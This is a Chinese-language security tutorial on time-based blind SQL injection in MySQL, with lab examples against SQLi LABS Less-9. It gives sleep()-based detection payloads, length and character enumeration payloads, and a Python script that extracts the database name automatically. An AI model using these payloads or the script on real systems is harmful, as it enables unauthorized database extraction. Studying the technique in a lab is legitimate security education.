「作者簡介」:2022年北京冬奧會網絡安全中國代表隊,CSDN Top100,就職奇安信多年,以實戰工作為基礎對安全知識體系進行總結與歸納,著作適用于快速入門的 《網絡安全自學教程》,內容涵蓋系統安全、信息收集等12個知識域的一百多個知識點,持續更新。
這一章節我們需要知道時間盲注的原理和使用步驟。
時間盲注是SQL注入漏洞的利用方式之一,也叫「延時注入」,根據頁面的「響應時間」來判斷是否存在注入。
時間盲注
- 1、使用步驟
- 第一步:判斷注入點
- 第二步:判斷長度
- 第三步:枚舉字符
- 2、時間盲注的弊端
- 3、盲注腳本
- 4、實戰思路
- 4.1、判斷是否存在時間盲注
- 原理分析
- 4.2、脫庫
- 4.2.1、判斷返回結果的長度
- 4.2.1.1、原理分析
- 4.2.2、枚舉字符
- 4.2.2.1、原理分析
- 5、誤差判斷
1、使用步驟
時間盲注使用的「優先級」并不高,通常是在聯合注入、報錯注入、布爾盲注都無法使用時才會考慮使用:
- 頁面沒有「回顯位置」(聯合注入無法使用)
- 頁面不顯示數據庫的「報錯信息」(報錯注入無法使用)
- 無論成功還是失敗,頁面只「響應」一種結果(布爾盲注無法使用)
具體操作跟布爾盲注大同小異,可以分為三個步驟。
第一步:判斷注入點
依次嘗試以下類型的測試 payload ,「延時」5秒以上則說明判斷成立,即存在注入
?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a括號及各種過濾類型……
提示: sleep 的時間可以自定義,時間太長效率太低、時間太短則不容易判斷。
第二步:判斷長度
利用MySQL的 if()
和 sleep()
判斷查詢結果的「長度」,從1開始判斷,并依次「遞增」。
?id=1' and if((length(查詢語句) =1), sleep(5), 3) -- a
如果頁面響應時間超過5秒,說明長度判斷正確(sleep(5));
如果頁面響應時間不超過5秒(正常響應),說明長度判斷錯誤,繼續遞增判斷長度。
第三步:枚舉字符
利用MySQL的 if()
和 sleep()
判斷字符的內容。
從查詢結果中「截取」第一個字符,轉換成 ASCLL 碼,從32開始判斷,遞增至126。
關于ASCLL碼可參考我的另一篇文章:ASCLL編碼對照表
?id=1' and if((ascii(substr(查詢語句,1,1)) =1), sleep(5), 3) -- a
如果頁面響應時間超過5秒,說明字符內容判斷正確;
如果頁面響應時間不超過5秒(正常響應),說明字符內容判斷錯誤,遞增猜解該字符的其他可能性。
第一個字符猜解成功后,「依次猜解」第二個、第三個……第n個(n表示返回結果的長度)。
2、時間盲注的弊端
- 時間盲注的「時間復雜度」較高,需要消耗大量的時間。
- 時間盲注容易受到「網絡波動」等因素的影響,從而產生「誤差」。
時間盲注誤差大、時間成本高,通常情況下,能夠證明注入存在就可以了。
3、盲注腳本
時間盲注通常會使用腳本自動化猜解,Python腳本如下,可按需修改:
import requests
import time# 將url 替換成你的靶場關卡網址
# 修改兩個對應的payload# 目標網址(不帶參數)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解長度使用的payload
payload_len = """?id=1' and if((length(database()) ={n})
,sleep(5),3) -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and if((ascii(substr((database()),{n},1)) ={r})
, sleep(5), 3) -- a"""# 獲取長度
def getLength(url, payload):length = 1 # 初始測試長度為1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 響應時間>5秒時,表示猜解成功if use_time > 5:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1 # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = '' # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 頁面中出現此內容則表示成功if use_time > 5:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
4、實戰思路
試驗靶場:SQLi LABS Less 9
注入情況:單引號字符型注入
4.1、判斷是否存在時間盲注
確定注入點以后,需要判斷網頁是否存在時間盲注,同時滿足以下兩種情況時,可以確定存在時間盲注:
?id=1' and if(1, sleep(5), 3) -- a 延時5秒響應
?id=1' and if(0,sleep(5),3) -- a 正常響應
原理分析
if()
函數的第一個參數是條件表達式,1會轉換為 True,0會轉換為 False。
- 條件表達式結果為 True 時,會執行第二個參數位置的代碼,即 sleep(5),延時5秒響應;
- 條件表達式結果為 False 時,會執行第三個參數位置的代碼,即 3,自定義的占位符,無實際意義,頁面正常響應。
4.2、脫庫
確定時間盲注存在以后,就可以進行脫庫了。
脫庫分為兩個步驟:判斷長度、枚舉字符
4.2.1、判斷返回結果的長度
我們以判斷當前使用的數據庫名的長度來舉例,首先判斷長度是否大于1。
?id=1' and if((length(database()) >1)
,sleep(5),3) -- a
4.2.1.1、原理分析
payload拼接到SQL中,執行過程如下:
庫名的長度肯定大于1,如果頁面響應時間大于5秒,說明payload可用,開始從1開始測試長度,依次遞增:
4.2.2、枚舉字符
庫名可用的字符有95個,比如大小寫字母、數字、下劃線等特殊字符。
我們截取第一個字符,窮舉這95種可能性即可,為了方便猜解,我們將字符轉換為ASCLL碼再進行判斷(字符對應的ASCLL為 32~126)。
先判斷當前使用的數據庫名 第一個字符的ASCLL碼是否大于1:
?id=1' and if((ascii(substr((database()),1,1)) >1)
, sleep(5), 3) -- a
4.2.2.1、原理分析
payload拼接到SQL中,執行過程如下:
第一個字符的ASCLL碼肯定大于1,頁面響應5秒以上,說明payload可用。
依次判斷32到126,頁面響應5秒以上說明猜解正確;頁面正常響應說明猜解錯誤。
猜解成功第一個字符后,再依次猜解第二、第三……第n個字符(n表示返回結果的長度)。
5、誤差判斷
1)排除網絡影響
同樣的 payload ,如果某次響應時間很長,某次響應時間很短(比sleep()
的時間還短),就說明是受到了「網絡波動」的影響。如果多次響應時間不一樣,但都比sleep()
的時間長,也判斷延時成功。
2)排除緩存影響
同樣的 payload ,如果第一次響應時間很長,但后面響應時間就變短了,但比sleep()
的時間要長,就說明受到了「緩存」的影響。
原理:數據庫會將執行過的SQL語句及執行結果放到緩存里,以減小數據庫的訪問壓力。數據庫在執行SQL時,會先找緩存,如果緩存存在一樣的SQL,則會直接返回緩存中的查詢結果,而不會查找數據庫。
這就意味著同樣一條SQL,第一次執行時,會消耗較多的時間(查數據庫);而第二次執行時,幾乎不消耗時間(查緩存)。